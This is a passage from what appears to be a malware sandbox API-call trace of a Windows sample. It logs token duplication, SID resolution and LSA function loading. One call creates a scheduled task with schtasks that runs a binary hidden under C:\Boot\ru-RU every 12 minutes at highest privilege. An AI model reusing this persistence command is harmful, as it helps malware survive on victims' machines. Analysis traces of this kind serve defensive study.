cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0132.436] malloc (_Size=0x18) returned 0x2af000 [0132.436] malloc (_Size=0x18) returned 0x2aefa0 [0132.436] free (_Block=0x2aefc0) [0132.436] free (_Block=0x2af0c0) [0132.437] free (_Block=0x2affa0) [0132.437] free (_Block=0x2aefa0) [0132.437] free (_Block=0x2af000) [0132.437] free (_Block=0x2af0e0) [0132.437] free (_Block=0x2ae2e0) [0132.438] malloc (_Size=0x48) returned 0x2ad220 [0132.438] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0132.442] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0132.442] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0132.442] malloc (_Size=0x18) returned 0x2af0e0 [0132.442] CreateEnvironmentBlock () returned 0x1 [0132.447] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0132.447] malloc (_Size=0x18) returned 0x2af000 [0132.448] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec30, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf08, dwThreadId=0xf0c)) returned 1 [0132.453] CloseHandle (hObject=0x2f8) returned 1 [0132.453] CloseHandle (hObject=0x248) returned 1 [0132.453] free (_Block=0x2af000) [0132.454] DestroyEnvironmentBlock () returned 0x1 [0132.454] malloc (_Size=0x48) returned 0x2ad270 [0132.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1df35320, dwHighDateTime=0x1d8a92a)) [0132.454] SetEvent (hEvent=0x1f0) returned 1 [0132.454] CloseHandle (hObject=0x2d0) returned 1 [0132.454] CloseHandle (hObject=0x2dc) returned 1 [0132.640] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0132.640] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0132.640] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0133.105] SetLastError (dwErrCode=0x0) [0133.105] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0133.105] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0133.105] SetLastError (dwErrCode=0x0) [0133.105] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0133.105] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0133.105] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0133.105] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0133.105] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0133.105] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0133.109] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0133.110] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.110] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.110] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0133.110] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.111] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0133.111] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0133.113] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0133.113] GetCurrentThread () returned 0xfffffffffffffffe [0133.113] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0133.113] malloc (_Size=0xd8) returned 0x2b8790 [0133.113] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0133.113] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0133.114] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0133.114] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0133.114] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0133.114] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0133.114] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0133.114] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0133.115] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0133.115] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0133.115] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0133.115] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0133.115] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0133.115] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0133.116] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0133.116] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0133.116] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0133.116] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0133.116] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0133.116] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0133.117] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0133.117] malloc (_Size=0x18) returned 0x2aef80 [0133.117] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0133.117] malloc (_Size=0x48) returned 0x2ad3b0 [0133.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1e574ce0, dwHighDateTime=0x1d8a92a)) [0133.117] SetEvent (hEvent=0x1f0) returned 1 [0133.122] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0133.122] GetLastError () returned 0x7a [0133.122] malloc (_Size=0x2c) returned 0x2ae2a0 [0133.122] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0133.122] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.122] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0133.122] malloc (_Size=0x1c) returned 0x2b0000 [0133.122] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.122] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0133.122] malloc (_Size=0x18) returned 0x2af0e0 [0133.122] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0133.122] malloc (_Size=0x18) returned 0x2af000 [0133.122] malloc (_Size=0x18) returned 0x2aefa0 [0133.122] SysStringLen (param_1="S-1-") returned 0x4 [0133.122] SysStringLen (param_1="5") returned 0x1 [0133.122] memcpy (in: _Dst=0x139778, _Src=0x1395c8, _Size=0xa | out: _Dst=0x139778) returned 0x139778 [0133.122] memcpy (in: _Dst=0x139780, _Src=0x139658, _Size=0x4 | out: _Dst=0x139780) returned 0x139780 [0133.122] free (_Block=0x2af0e0) [0133.123] free (_Block=0x2af000) [0133.123] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0133.123] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0133.123] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0133.123] malloc (_Size=0x18) returned 0x2af000 [0133.123] malloc (_Size=0x18) returned 0x2af0e0 [0133.123] SysStringLen (param_1="S-1-5") returned 0x5 [0133.123] SysStringLen (param_1="-") returned 0x1 [0133.123] memcpy (in: _Dst=0x139658, _Src=0x139778, _Size=0xc | out: _Dst=0x139658) returned 0x139658 [0133.123] memcpy (in: _Dst=0x139662, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x139662) returned 0x139662 [0133.123] free (_Block=0x2aefa0) [0133.123] free (_Block=0x2af000) [0133.123] malloc (_Size=0x18) returned 0x2af000 [0133.123] malloc (_Size=0x18) returned 0x2aefa0 [0133.123] SysStringLen (param_1="S-1-5-") returned 0x6 [0133.123] SysStringLen (param_1="21") returned 0x2 [0133.123] memcpy (in: _Dst=0x1395c8, _Src=0x139658, _Size=0xe | out: _Dst=0x1395c8) returned 0x1395c8 [0133.123] memcpy (in: _Dst=0x1395d4, _Src=0x139778, _Size=0x6 | out: _Dst=0x1395d4) returned 0x1395d4 [0133.123] free (_Block=0x2af0e0) [0133.123] free (_Block=0x2af000) [0133.123] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0133.123] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0133.123] malloc (_Size=0x18) returned 0x2af000 [0133.124] malloc (_Size=0x18) returned 0x2af0e0 [0133.124] SysStringLen (param_1="S-1-5-21") returned 0x8 [0133.124] SysStringLen (param_1="-") returned 0x1 [0133.124] memcpy (in: _Dst=0x139778, _Src=0x1395c8, _Size=0x12 | out: _Dst=0x139778) returned 0x139778 [0133.124] memcpy (in: _Dst=0x139788, _Src=0x139658, _Size=0x4 | out: _Dst=0x139788) returned 0x139788 [0133.124] free (_Block=0x2aefa0) [0133.124] free (_Block=0x2af000) [0133.124] malloc (_Size=0x18) returned 0x2af000 [0133.124] malloc (_Size=0x18) returned 0x2aefa0 [0133.124] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0133.124] SysStringLen (param_1="4219442223") returned 0xa [0133.124] memcpy (in: _Dst=0x1175e8, _Src=0x139778, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0133.124] memcpy (in: _Dst=0x1175fa, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0133.124] free (_Block=0x2af0e0) [0133.124] free (_Block=0x2af000) [0133.124] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0133.124] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0133.124] malloc (_Size=0x18) returned 0x2af000 [0133.124] malloc (_Size=0x18) returned 0x2af0e0 [0133.124] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0133.124] SysStringLen (param_1="-") returned 0x1 [0133.125] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0133.125] memcpy (in: _Dst=0x11828e, _Src=0x139778, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0133.125] free (_Block=0x2aefa0) [0133.125] free (_Block=0x2af000) [0133.125] malloc (_Size=0x18) returned 0x2af000 [0133.125] malloc (_Size=0x18) returned 0x2aefa0 [0133.125] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0133.125] SysStringLen (param_1="4223814209") returned 0xa [0133.125] memcpy (in: _Dst=0x107588, _Src=0x118268, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0133.125] memcpy (in: _Dst=0x1075b0, _Src=0x139778, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0133.125] free (_Block=0x2af0e0) [0133.125] free (_Block=0x2af000) [0133.125] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0133.125] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0133.125] malloc (_Size=0x18) returned 0x2af000 [0133.125] malloc (_Size=0x18) returned 0x2af0e0 [0133.125] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0133.125] SysStringLen (param_1="-") returned 0x1 [0133.125] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0133.125] memcpy (in: _Dst=0x12d954, _Src=0x139778, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0133.125] free (_Block=0x2aefa0) [0133.125] free (_Block=0x2af000) [0133.126] malloc (_Size=0x18) returned 0x2af000 [0133.126] malloc (_Size=0x18) returned 0x2aefa0 [0133.126] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0133.126] SysStringLen (param_1="3835049652") returned 0xa [0133.126] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0133.126] memcpy (in: _Dst=0x1075c6, _Src=0x139778, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0133.126] free (_Block=0x2af0e0) [0133.126] free (_Block=0x2af000) [0133.126] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0133.126] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0133.126] malloc (_Size=0x18) returned 0x2af000 [0133.126] malloc (_Size=0x18) returned 0x2af0e0 [0133.126] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0133.126] SysStringLen (param_1="-") returned 0x1 [0133.126] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0133.126] memcpy (in: _Dst=0x12d96a, _Src=0x139778, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0133.126] free (_Block=0x2aefa0) [0133.126] free (_Block=0x2af000) [0133.126] malloc (_Size=0x18) returned 0x2af000 [0133.126] malloc (_Size=0x18) returned 0x2aefa0 [0133.126] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0133.126] SysStringLen (param_1="1000") returned 0x4 [0133.127] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0133.127] memcpy (in: _Dst=0x1075dc, _Src=0x139778, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0133.127] free (_Block=0x2af0e0) [0133.127] free (_Block=0x2af000) [0133.127] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0133.127] malloc (_Size=0x5e) returned 0x2b08a0 [0133.127] free (_Block=0x2aefa0) [0133.127] malloc (_Size=0x18) returned 0x2aefa0 [0133.127] free (_Block=0x2b08a0) [0133.127] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0133.128] GetLastError () returned 0x7a [0133.128] malloc (_Size=0x14) returned 0x2af000 [0133.128] malloc (_Size=0x16) returned 0x2af0e0 [0133.128] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca84, ReferencedDomainName=0x2af0e0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0133.130] malloc (_Size=0x18) returned 0x2af0c0 [0133.130] malloc (_Size=0x18) returned 0x2aefc0 [0133.130] free (_Block=0x2af000) [0133.130] free (_Block=0x2af0e0) [0133.130] free (_Block=0x2b0000) [0133.130] free (_Block=0x2aefc0) [0133.130] free (_Block=0x2af0c0) [0133.130] free (_Block=0x2aefa0) [0133.131] free (_Block=0x2ae2a0) [0133.131] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0133.131] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0133.131] GetLastError () returned 0x7a [0133.131] malloc (_Size=0x2c) returned 0x2ae2e0 [0133.131] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0133.131] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.131] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0133.132] malloc (_Size=0x1c) returned 0x2b0000 [0133.132] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.132] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0133.132] malloc (_Size=0x18) returned 0x2aefa0 [0133.132] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0133.132] malloc (_Size=0x18) returned 0x2af0c0 [0133.132] malloc (_Size=0x18) returned 0x2aefc0 [0133.132] SysStringLen (param_1="S-1-") returned 0x4 [0133.132] SysStringLen (param_1="5") returned 0x1 [0133.132] memcpy (in: _Dst=0x1395c8, _Src=0x139658, _Size=0xa | out: _Dst=0x1395c8) returned 0x1395c8 [0133.132] memcpy (in: _Dst=0x1395d0, _Src=0x139778, _Size=0x4 | out: _Dst=0x1395d0) returned 0x1395d0 [0133.132] free (_Block=0x2aefa0) [0133.132] free (_Block=0x2af0c0) [0133.132] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0133.132] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0133.132] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0133.132] malloc (_Size=0x18) returned 0x2af0c0 [0133.132] malloc (_Size=0x18) returned 0x2aefa0 [0133.132] SysStringLen (param_1="S-1-5") returned 0x5 [0133.132] SysStringLen (param_1="-") returned 0x1 [0133.133] memcpy (in: _Dst=0x139778, _Src=0x1395c8, _Size=0xc | out: _Dst=0x139778) returned 0x139778 [0133.133] memcpy (in: _Dst=0x139782, _Src=0x139658, _Size=0x4 | out: _Dst=0x139782) returned 0x139782 [0133.133] free (_Block=0x2aefc0) [0133.133] free (_Block=0x2af0c0) [0133.133] malloc (_Size=0x18) returned 0x2af0c0 [0133.133] malloc (_Size=0x18) returned 0x2aefc0 [0133.133] SysStringLen (param_1="S-1-5-") returned 0x6 [0133.133] SysStringLen (param_1="21") returned 0x2 [0133.133] memcpy (in: _Dst=0x139658, _Src=0x139778, _Size=0xe | out: _Dst=0x139658) returned 0x139658 [0133.133] memcpy (in: _Dst=0x139664, _Src=0x1395c8, _Size=0x6 | out: _Dst=0x139664) returned 0x139664 [0133.133] free (_Block=0x2aefa0) [0133.133] free (_Block=0x2af0c0) [0133.133] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0133.133] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0133.133] malloc (_Size=0x18) returned 0x2af0c0 [0133.133] malloc (_Size=0x18) returned 0x2aefa0 [0133.133] SysStringLen (param_1="S-1-5-21") returned 0x8 [0133.133] SysStringLen (param_1="-") returned 0x1 [0133.133] memcpy (in: _Dst=0x1395c8, _Src=0x139658, _Size=0x12 | out: _Dst=0x1395c8) returned 0x1395c8 [0133.133] memcpy (in: _Dst=0x1395d8, _Src=0x139778, _Size=0x4 | out: _Dst=0x1395d8) returned 0x1395d8 [0133.134] free (_Block=0x2aefc0) [0133.134] free (_Block=0x2af0c0) [0133.134] malloc (_Size=0x18) returned 0x2af0c0 [0133.134] malloc (_Size=0x18) returned 0x2aefc0 [0133.134] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0133.134] SysStringLen (param_1="4219442223") returned 0xa [0133.134] memcpy (in: _Dst=0x1175e8, _Src=0x1395c8, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0133.134] memcpy (in: _Dst=0x1175fa, 